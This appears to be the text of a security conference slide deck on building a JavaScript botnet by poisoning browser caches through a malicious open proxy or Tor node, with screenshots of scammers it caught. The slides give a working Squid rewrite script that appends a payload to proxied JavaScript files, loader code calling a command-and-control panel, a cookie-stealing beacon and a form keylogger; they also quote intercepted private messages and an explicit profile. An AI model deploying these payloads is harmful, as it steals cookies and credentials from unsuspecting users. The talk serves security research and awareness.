Owning "bad" guys {and mafia} with Javascript botnets

Chema Alonso & Manu “The Sur”
Let’s do a botnet but...

• We are lazy
• We haven’t money
• We haven’t 0day
• We aren’t the FBI
• We aren’t either:
  • Google
  • Apple
  • Microsoft
Let them to be infected
Man in the Middle schemas

- Intercept communications between client and server
- Compromised channel -> Pwned!
- Network
  - ARP Spoofing
  - Rogue DHCP(6)
  - ICMPv6 Spoofing
  - SLAAC Attacks
  - DNS Spoofing
  - ...
- Evil FOCA Rulez!
Man in the Browser

- Plugins
- BHO
- Addons
- Access to all data
- Passwords
- Code
- Banking trojans
- “A russian in my IE”
JavaScript in the Middle

- Poisoning Browser cache
- No permanent
  - Deleting cache means infection cleaned
- Cached content is used if not expired
- Allows attackers to inject remote javascript
- Access to:
  - Cookies
    - Not HTTPOnly (more or less)
  - HTML Code
  - Form fields
  - URLs
  - Code execution
  - ...
Google Analytics js & malware

Trojan:JS/Redirector.GA (?)

Encyclopedia entry
Published: Sep 30, 2010

Aliases
Not available

Alert Level (?)
Severe

Antimalware protection details
Microsoft recommends that you download the latest definitions to get protected.

  Detection initially created:
  Definition: 1.91.891.0
  Released: Sep 30, 2010
How to inject JavaScript code

• Persistent XSS
• Owning HTTP Servers
• Network Man In the middle attacks
  • WiFi
  • ARP Spoofing
  • IPv6
• Memcache attacks
• Imagination
- Framework to own browser’s cache
- Inject a javascript in each client
- That javaScript loads payloads from C&C
- [http://beefproject.com](http://beefproject.com)
- Very Well-Known
How to create a JavaScript Botnet from the scratch
TOR Nodes

Diagram showing the TOR network with nodes connecting Alice to Jane and Jane to Bob, with green arrows indicating encrypted links and red arrows indicating unencrypted links.
<table>
<thead>
<tr>
<th>Time</th>
<th>Type</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>oct 06 11:14:31.171</td>
<td>Notice</td>
<td>Opening Directory listener on 0.0.0.0:90030</td>
</tr>
<tr>
<td>oct 06 11:14:31.171</td>
<td>Notice</td>
<td>Opening Socks listener on 127.0.0.1:90050</td>
</tr>
<tr>
<td>oct 06 11:14:31.171</td>
<td>Notice</td>
<td>Opening Control listener on 127.0.0.1:90051</td>
</tr>
<tr>
<td>oct 06 11:14:31.282</td>
<td>Notice</td>
<td>Parsing GEOIP file</td>
</tr>
<tr>
<td>oct 06 11:14:31.108</td>
<td>Notice</td>
<td>Have tried resolving or connecting to address [scrubbed] at 3 different places. Giving up.</td>
</tr>
<tr>
<td>oct 06 11:14:31.772</td>
<td>Notice</td>
<td>Interrupt will shut down in 30 seconds. Interrupt again to exit now.</td>
</tr>
<tr>
<td>oct 06 11:14:31.103</td>
<td>Notice</td>
<td>Tor v0.2.16. This is experimental software. Do not rely on it for strong anonymity. (Running on Very recent version of Windows [major=6,minor=2] [workstation] [terminal services, singl...</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Opening OR listener on 0.0.0.0:443</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Opening Directory listener on 0.0.0.0:90030</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Opening Socks listener on 127.0.0.1:90050</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Opening Control listener on 127.0.0.1:90051</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Bootstrapped 90%. Establishing a Tor circuit.</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Bootstrapped 100%. Done.</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Tor has successfully opened a circuit. Looks like client functionality is working.</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Now checking whether ORPort 62.82.159.150:443 and DiPort 62.82.159.150:9030 are reachable... (this may take up to 20 minutes -- look for log messages indicating success)</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Have tried resolving or connecting to address [scrubbed] at 3 different places. Giving up.</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Your DNS provider gave an answer for “4u.inmval”, which is not supposed to exist. Apparently they are hijacking DNS failures. Trying to correct for this. We’ve noticed 1 possibly bad addr...</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Your DNS provider has given “192.168.1.101” as an answer for 11 different invalid addresses. Apparently they are hijacking DNS failures. I’ll try to correct for this by treating future occurr...</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Your DNS provider tried to redirect “www.yahoo.com” to a junk address. It has done this with 3 test addresses so far. I’m going to stop being an exit node for now, since our DNS seems so...</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Your DNS provider gave an answer for “lpqjwpkl.inmval”, which is not supposed to exist. Apparently they are hijacking DNS failures. Trying to correct for this. We’ve noticed 1 possibly bad addr...</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Your DNS provider gave an answer for “192.168.1.101” as an answer for 11 different invalid addresses. Apparently they are hijacking DNS failures. I’ll try to correct for this by treating future occurr...</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Have tried resolving or connecting to address [scrubbed] at 3 different places. Giving up.</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Notice</td>
<td>Your server (62.82.159.150:443) has not managed to confirm that its ORPort is reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.</td>
</tr>
<tr>
<td>oct 06 11:14:31.105</td>
<td>Warning</td>
<td>Your server (62.82.159.150:9030) has not managed to confirm that its DiPort is reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.</td>
</tr>
</tbody>
</table>
Not a Rocket Science....
Buy a bullet-Prof

• Not:
  • The Pirate Bay
  • Amazon
    • (Remember Wikileaks)
  • Megaupload
Configure SQUID Proxy

GET / HTTP/1.1
Host: www.web.com

Response
Home.html

GET /a.jsp HTTP/1.1
Host: www.web.com

Response
a.jsp

GET /payload.js HTTP/1.1
Host: evil

Response
a.Jsp + pasarela.js
include http://evil/payload.js

GET / HTTP/1.1
Host: www.web.com

Response
Home.html

GET / HTTP/1.1
Host: www.web.com

Response
Home.html

GET /a.jsp HTTP/1.1
Host: www.web.com

Response
a.jsp
Configure SQUID Proxy

Squid.conf: Activate URL rewrite program

```
# By default, a URL rewriter is not used.
#
#Default:
# none
url_rewrite_program /etc/squid/poison.pl
```

.htaccess: Apache No Expiration Policy

```
/etc/squid# cat /var/www/tmp/.htaccess
ExpiresActive On
ExpiresDefault "access plus 3000 days"
```
Infect all JavaScript files

```perl
#!/usr/bin/perl
$n=1;
$count = 0;
$pid = $$;

while (<>)
{
    chomp $_;
    if ($_ =~/(.*\js)/i)
    {
        $url = $1;
        system("/usr/bin/wget", "-q", "-O","/var/www/tmp/$pid-$count.js", "$url");
        system("chmod o+r /var/www/tmp/$pid-$count.js");
        system("cat /etc/squid/pasarela.js >> /var/www/tmp/$pid-$count.js");
        print "http://127.0.0.1:80/tmp/$pid-$count.js\n";
    }
    else
    {
        print "$_\n";
    }

    $count++;
}
```
Infect all JavaScript files

```javascript
function payload()
{
    x = document.getElementById("poisonpayload");

    if (x == null)
    {
        document.write("" + "<script>function getip(json) {" + "document.write('" + "<script type=\"application/javascript\" src='" + "http://[IP]/panel/poison payload.php?id='' + json.ip + "'><scr'" + "ipt>'");
    }" + "</script>" + ");"
    
    document.write("" + "<script id='poisonpayload' type='application/javascript' src='" + "http://[IP]/panel/jsonip.php?callback=getip'></script>" + ");"
}
payload();
```
Publish your Proxy

Add an Open Proxy to the Database.

You are more than welcome to add your proxies in our database!

Your submission will be verified to check whether or not your proxies are open for public use, and only hosts which are current open HTTP proxies will be added to our database.

The check process is not immediate - it may take hours before your proxy is listed in the full proxy list.

*Our site is not an online proxy checker.* You will receive no feedback as to whether or not proxies in your submission are valid HTTP proxies.

However submitting quality proxylists you can get an elite user status which gives you special level access to our database and Xorum.

VMware Capacity Planning [www.VKernel.com/Planning](http://www.VKernel.com/Planning)
Model Available VM Capacity with Capacity Manager.
Free 30-Day Trial
Let Internet do the magic
Do Payloads: Cookie stealing

document.write(""
    <img id='domaingrabber' src='http://X.X.X.X/panel/domaingrabber.php?id=0.0.0.0&
    domain="+document.domain+"&
    location="+document.location+"&
    cookie="+document.cookie+" style='display:none;'/>");"
function kLogStart()
{
    var forms = parent.document.getElementsByTagName("form");
    for (i = 0; i < forms.length; i++)
    {
        forms[i].addEventListener('submit', function()
        {
            var cadena = "";
            var forms = parent.document.getElementsByTagName("form");
            for (x = 0; x < forms.length; x++)
            {
                var elements = forms[x].elements;
                for (e = 0; e < elements.length; e++)
                {
                    cadena += elements[e].name + "%3d" + elements[e].value + "|";
                }
            }
            attachForm(cadena);,
            false);
        }
    }
}
Enjoy
Who ""$""$ is using this kind of services?
Mafias: Help the Prince

I have emailed everyone I can possibly find, my Prince, but no-one wants to help you move your money.
Mafias: Nigerian Scammers
Mafias: Nigerian Scammers

UK Immigration Work Permit and Visa Services

Our Duty is to provide you with a working permit from the UKBA and your firm supporting documents. ENTRANCE WORK PERMIT as requested by the immigration department to enable your completion required documents and possible approval entry visa to be issued at the British high commissioner in your country, you are required to reach us with your passport scanning pages, with two passport photographs EU size along with your processing fee of GB £275 Pounds before we could issue of your ENTRANCE CLEARANCE WORK PERMIT from our office. On receipt of these:-
(a) Your passport scanning pages,
(b) Two passport recent photographs
(c) Filled candidate payment form with processing fee of GB £275 pounds

We will assist to forward all your details to British LABOUR DEPARTMENT for processing of your entry working permit certificate as requested by the immigration department, which will guarantee the issuance of your four 4-years entry working visa at the British embassy in your country of residence. As soon as we received from you, your request will be process and issued within 48-HRS;

This are generally mentioned in the prospectus of the Employment/Tourist tour or invitation by any UK company management for, and immediately your documents is approved admission in that particular institute will qualify him or her for entrance clearance entry working permit.

INFORMATION METHOD OF PAYMENT

You should reach us with your payment through the means western union money transfer or money gram money transfer bank and print out the candidate payment form to fill with the payment transfer information the western union, scan and send back to our office with:-
(i) Passport scanning pages, (ii) Two recent passport photographs along with the (iii) Filled candidate payment form for processing and issuing of your entrance clearance work permit labour from our office. Attached file is contained your application candidate payment form for entry clearance work permit certificate and make payment through the western union money transfer to Accountant Receiver Name: (Mr Addison Stuart) Address: 80-83 Long Lane, EC1A 9ET London U.K.

Then print out the candidate payment form to fill, scan and send your passport scanned pages along with two passport photographs for immediate processing and issuing of your request from our office within -48 Hours
Dear Sir,

I respected your kindly information for me about that job. But at that time my group clients are not to believe me for deposit that amount. So after given to the clearance paper then they are possible and believe to payment for me.

We can not send you money through Western or Bank, Because our government can not give us to permission. If you are agree then only one way to send that amount in our Nepalese UK Embassy through your hand.

Otherwise it is not possible to do for further processed then release the task.

Thanking about me

Regards
Khem Raj Puri
Mafias: Nigerian Scammers
Mafias: Nigerian Scammers
Mafias: Predators

Axionqueen

Age: early 30's
Location: Keller, Texas
Gender: female
Looking for: dating / a relationship
Interested in: men
Member since: 3 months ago
Relationship status: Single

Hair color: Black
Eye color: Brown
Religion: christian
Ethnicity: asia
Occupation: baby sitter
Wants children? Depends on what partner wants

About Axionqueen

AM LOOKING FOR A VERY STRAIGHT FORWARD AND WELL UNDERSTAND MAN TO BE MY SOUL MATE AND HE AS TO BE VERY HARD WORKING AND READY FOR A LONG TIME RELATIONSHIP WITH ME AND ALSO HAVE A GOOD HIGH SEX DRIVE AND HE AS TO BE DISEASE FREE AND VERY CLEAN AND VERY HONEST, LOVING, CAREING, DOMINANT, PASSIONATE AND BE A MAN OF IS WORDS AND READY TO TRY NEW THINGS WITH ME AND LOVE EATING MY PUSSY AND TAKING ME FROM THE ASS ALWAYS AND ALSO LET ME HAVE THE LAST DROP OF IS CUM IN MY MOUTH FOR MY OWN GREAT DESIRED
Mafias: Predators
Mafias: Predators
Mafias: Predators
Mafias: Predators

kbbill1980(12:09:40 (UTC)): Hello sweetie
fist176punto(12:12:49 (UTC)): Hello my sweet Mous
kbbill1980(12:13:00 (UTC)): I am fine, I just came back from the booking office and my love when did you really want me to come
fist176punto(12:13:16 (UTC)): I want it that you come to me
kbbill1980(12:13:52 (UTC)): what am fine I just came back from the booking office and my love when did you really want me to come
fist176punto(12:15:10 (UTC)): I don't think you need to come next week or what?
kkbilly1980(12:15:51 (UTC)): why what is the Problem
fist176punto(12:16:03 (UTC)): I don't think you need to come next week or what?
kbbilly1980(12:17:08 (UTC)): I don't think you need to come next week or what?
kbbilly1980(12:17:11 (UTC)): I don't think you need to come next week or what?
kbbilly1980(12:17:14 (UTC)): am ready to fly any time so far you are ready to have me with you my love
fist176punto(12:18:33 (UTC)): Year that's fine so I thing you can look for Wendday
fist176punto(12:19:11 (UTC)): When is no Problem for you
kbbilly1980(12:20:16 (UTC)): Okay that is good
fist176punto(12:20:21 (UTC)): Baby You have my Address now
kbbilly1980(12:20:54 (UTC)): and when did you think you can get the 700 euro send so that I can make the booking and get everything ready for me to fly down to Germany
fist176punto(12:22:05 (UTC)): Baby You have my Address now
fist176punto(12:22:15 (UTC)): ????
kbbilly1980(12:22:18 (UTC)): I will send you the full nicked pics tonight
fist176punto(12:23:11 (UTC)): Oh baby this is nice
kbbilly1980(12:23:16 (UTC)): when did you think you will have chance to go and send me the 700 euro for the booking so that I get everything ready
fist176punto(12:24:57 (UTC)): The picture are so thi can see your all Picking ???
kbbilly1980(12:25:18 (UTC)): I will send you my full information so that you can use it to send the money from Western Union to me okay
fist176punto(12:25:49 (UTC)): Yes baby when you send the Pic you can send me were I must Take the money
kbbilly1980(12:26:16 (UTC)): Sorry I dont understand you my love
fist176punto(12:27:17 (UTC)): When you send The Pictures to night you can send me the Western Union information
kbbilly1980(12:27:56 (UTC)): Ich frage Sie, dass, wenn Sie Zeit haben, um zu gehen und senden Sie mir die 700 €, so dass ich die Buchung kann tun und alles bereit
kbbilly1980(12:30:15 (UTC)): Are you there
Mafias: Predators
Mafias: Predators

Von: Kayla Bill <[email protected]>
Betreff: Re: Schatz I love you big Kiss
An: "Josef Landhuis" <[email protected]>
Datum: Donnerstag, 23. Februar, 2012 07:10 Uhr

Hello sweetie why you have not sent me the nicked pics you promise me ?and i just sent you my nicked pics and please dont show it to another person is for only your eyes okay i love you and i will be waiting to chat with you when you come online today i miss you and last night my net was bad that is why i did not come online last night and i have also send you my info for the western union

From: Josef Landhuis <[email protected]>
Subject: Re: Schatz I love you big Kiss
To: "Kayla Bill" <[email protected]>
Date: Wednesday, February 29, 2012, 4:05 AM

hello Baby
I dont no but but my Bankmanager ask me that the Address City and country is not pasibel now what we can do ???
gime a athoer one please

Your love Josef big Kiss Baby

Von: Kayla Bill <[email protected]>
Betreff: Re: Schatz I love you big Kiss
An: "Josef Landhuis" <[email protected]>
Datum: Mittwoch, 29. Februar, 2012 14:43 Uhr

fuck it stop playing game on me i gave you my right address and what is your bank manager with sending money if you are truthful collect the money from your bank and look for a western union shop to send it or you just forget about it and stop playing game with my heart
Dog Scammers
Warning! This picture could hurt your emotions...
Dog Scammers

Category: For Sale - Free Stuff, Freebies, & Bargains
Views: 7

Find Similar Listings
Free Stuff, Freebies, & Bargains

Meet the Advertiser
Ask Advertiser a Question
View More from this Advertiser
Feedback: jessicabrown12

Other Options
Watch This Ad
Clip This Ad / View Clip List
Email to a Friend
Report As Inappropriate
ShareThis

Start Date: 2/29/2012
Price: $200.00
Psychotics
Anonymous
<table>
<thead>
<tr>
<th>Domain</th>
<th>Cookie</th>
</tr>
</thead>
<tbody>
<tr>
<td>2ip.ru</td>
<td></td>
</tr>
<tr>
<td>anunturi.telegrafonline.ro</td>
<td></td>
</tr>
<tr>
<td>facebook.com</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.facebook.com/">http://www.facebook.com/</a>...</td>
<td></td>
</tr>
<tr>
<td>whatismyipaddress.com</td>
<td></td>
</tr>
<tr>
<td>world.needforspeed.com</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.youtube.com">www.youtube.com</a></td>
<td></td>
</tr>
</tbody>
</table>
Rare people in a rare World

---

Your current balance represents how active your involvement in our service has been up to now. Summary stated below.

- Since joining up, you have accumulated a total of $24.38
- You have not redeemed yet
- You do not qualify for redemption yet due to insufficient balance

Displaying 1 to 20 of 383 articles on page 1 of 20

<table>
<thead>
<tr>
<th>Title</th>
<th>Topic</th>
<th>Paid</th>
<th>Intro Date</th>
<th>Read Date</th>
<th>Rating Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>Culinary Traditions Of France</td>
<td>Gourmet</td>
<td>$0.05</td>
<td>2/29/2012 1:42:42 PM</td>
<td>2/29/2012 1:44:32 PM</td>
<td></td>
</tr>
<tr>
<td>Why Network Marketing Sucks</td>
<td>Networking</td>
<td>$0.05</td>
<td>2/29/2012 1:41:46 PM</td>
<td>2/29/2012 1:43:35 PM</td>
<td></td>
</tr>
<tr>
<td>Black Christmas movie review</td>
<td>Movies</td>
<td>$0.06</td>
<td>2/29/2012 1:40:28 PM</td>
<td>2/29/2012 1:42:35 PM</td>
<td></td>
</tr>
<tr>
<td>Cultivate a Positive Mind-Set Through Meditation</td>
<td>Meditation</td>
<td>$0.05</td>
<td>2/29/2012 1:41:45 PM</td>
<td>2/29/2012 1:43:35 PM</td>
<td></td>
</tr>
<tr>
<td>5 Tips To Help You Master Digital Photography</td>
<td>Photography</td>
<td>$0.04</td>
<td>2/29/2012 1:38:37 PM</td>
<td>2/29/2012 1:39:56 PM</td>
<td></td>
</tr>
<tr>
<td>Modern hand Analysis : What's In It For us!</td>
<td>Spirituality</td>
<td>$0.05</td>
<td>2/29/2012 1:37:40 PM</td>
<td>2/29/2012 1:39:31 PM</td>
<td></td>
</tr>
<tr>
<td>Methods for photo backups</td>
<td>Photography</td>
<td>$0.05</td>
<td>2/29/2012 1:36:47 PM</td>
<td>2/29/2012 1:38:30 PM</td>
<td></td>
</tr>
<tr>
<td>What does it mean to be an expatriate? Part 2 - How to choose your paradise</td>
<td>Coaching</td>
<td>$0.05</td>
<td>2/29/2012 1:35:39 PM</td>
<td>2/29/2012 1:36:42 PM</td>
<td></td>
</tr>
<tr>
<td>Diabetes Epidemic because of self-inflicted Obesity</td>
<td>Diabetes</td>
<td>$0.06</td>
<td>2/29/2012 1:35:12 PM</td>
<td>2/29/2012 1:36:01 PM</td>
<td></td>
</tr>
<tr>
<td>The Poor Man's Guide To Rich Looking Videos</td>
<td>Marketing</td>
<td>$0.07</td>
<td>2/29/2012 1:34:56 PM</td>
<td>2/29/2012 1:35:39 PM</td>
<td></td>
</tr>
<tr>
<td>World's Hottest Hot Sauce - Blair's 16 Million Reserve</td>
<td>Food and Beverage</td>
<td>$0.05</td>
<td>2/29/2012 1:34:14 PM</td>
<td>2/29/2012 1:35:08 PM</td>
<td></td>
</tr>
</tbody>
</table>
Hax0rs and defacers....
...hacking...
... and hacked
And, of course, Pr0n
Do Payloads: Infect webs for the future
Targeting Attacks

• Select the Target
  • Bank
  • Social Network
  • Intranet

• Analyze loaded files

• Payload:
  • Inject and load an infected file for that target, in every web the victim visits.

• Profit.
Demo Facebook
Protections

• Take care of mitm schemas
  • Proxy
  • TOR networks
• After using them, clean all
• Cache is not your friend on the Internet
• VPNs is not a silver bullet
Questions?

chema@informatica64.com
mfernandez@informatica64.com